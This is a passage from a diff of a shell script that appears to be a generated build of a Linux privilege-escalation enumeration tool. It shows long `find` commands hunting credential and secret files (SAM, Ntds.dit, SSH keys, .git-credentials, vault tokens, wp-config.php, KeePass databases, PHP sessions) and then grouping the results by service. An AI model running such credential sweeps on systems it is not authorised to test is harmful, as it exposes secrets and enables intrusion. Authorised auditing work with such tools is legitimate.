\"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"agent*\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_USR=`eval_bckgrd "find ${ROOT_FOLDER}usr -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"ssh*config\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_VAR=`eval_bckgrd "find ${ROOT_FOLDER}var -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"setupinfo\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"sess_*\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CONCOURSE_AUTH=`eval_bckgrd "find ${ROOT_FOLDER}concourse-auth -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CONCOURSE_KEYS=`eval_bckgrd "find ${ROOT_FOLDER}concourse-keys -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` wait # Always wait at the end CONT_THREADS=0 #Reset the threads counter -fi +fi if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then - #GENERATE THE STORAGES OF THE FOUND FILES - PSTORAGE_SYSTEMD=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/applications|^/private|^/cdrom|^/etc|^/media|^/snap|^/mnt|^/run|^/lib32|^/sys|^/concourse-keys|^/sbin|^/usr|^/srv|^/opt|^/system|^/.cache|^/var|^$GREPHOMESEARCH|^/bin|^/lib|^/lib64|^/concourse-auth|^/systemd|^/tmp" | grep -E ".*\.service$" | sort | uniq | head -n 70) - PSTORAGE_TIMER=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/applications|^/private|^/cdrom|^/etc|^/media|^/snap|^/mnt|^/run|^/lib32|^/sys|^/concourse-keys|^/sbin|^/usr|^/srv|^/opt|^/system|^/.cache|^/var|^$GREPHOMESEARCH|^/bin|^/lib|^/lib64|^/concourse-auth|^/systemd|^/tmp" | grep -E ".*\.timer$" | sort | uniq | head -n 70) - PSTORAGE_SOCKET=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/applications|^/private|^/cdrom|^/etc|^/media|^/snap|^/mnt|^/run|^/lib32|^/sys|^/concourse-keys|^/sbin|^/usr|^/srv|^/opt|^/system|^/.cache|^/var|^$GREPHOMESEARCH|^/bin|^/lib|^/lib64|^/concourse-auth|^/systemd|^/tmp" | grep -E ".*\.socket$" | sort | uniq | head -n 70) - PSTORAGE_DBUS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70) - PSTORAGE_MYSQL=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "mysql$|passwd\.ibd$|password.*\.ibd$|pwd\.ibd$" | sort | uniq | head -n 70) - PSTORAGE_MARIADB=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70) - PSTORAGE_POSTGRESQL=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70) - PSTORAGE_APACHE_NGINX=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_SNAP\n$FIND_DIR_MEDIA\n$FIND_DIR_SBIN\n$FIND_DIR_VAR\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_USR\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_OPT\n$FIND_DIR_TMP\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "sites-enabled$|000-default\.conf$|php\.ini$|nginx\.conf$|nginx$" | sort | uniq | head -n 70) - PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/var|^/private|^/tmp|^/mnt" | grep -E "sess_.*$" | sort | uniq | head -n 70) - PSTORAGE_PHP_FILES=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70) - PSTORAGE_WORDPRESS=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/bin|^/applications|^/sbin|^/usr|^/srv|^/opt|^/private|^/.cache|^/cdrom|^/etc|^/media|^$GREPHOMESEARCH|^/var|^/snap|^/tmp|^/mnt" | grep -E "wp-config\.php$" | sort | uniq | head -n 70) - PSTORAGE_DRUPAL=$(echo -e "$FIND_SYSTEM\n$FIND_SRV\n$FIND_VAR\n$FIND_SNAP\n$FIND_LIB32\n$FIND_APPLICATIONS\n$FIND_ETC\n$FIND_HOMESEARCH\n$FIND_CACHE\n$FIND_LIB\n$FIND_LIB64\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_BIN\n$FIND_CONCOURSE_KEYS\n$FIND_RUN\n$FIND_USR\n$FIND_CDROM\n$FIND_MNT\n$FIND_TMP\n$FIND_OPT\n$FIND_CONCOURSE_AUTH\n$FIND_SBIN\n$FIND_SYS\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/default/settings.php' | grep -E 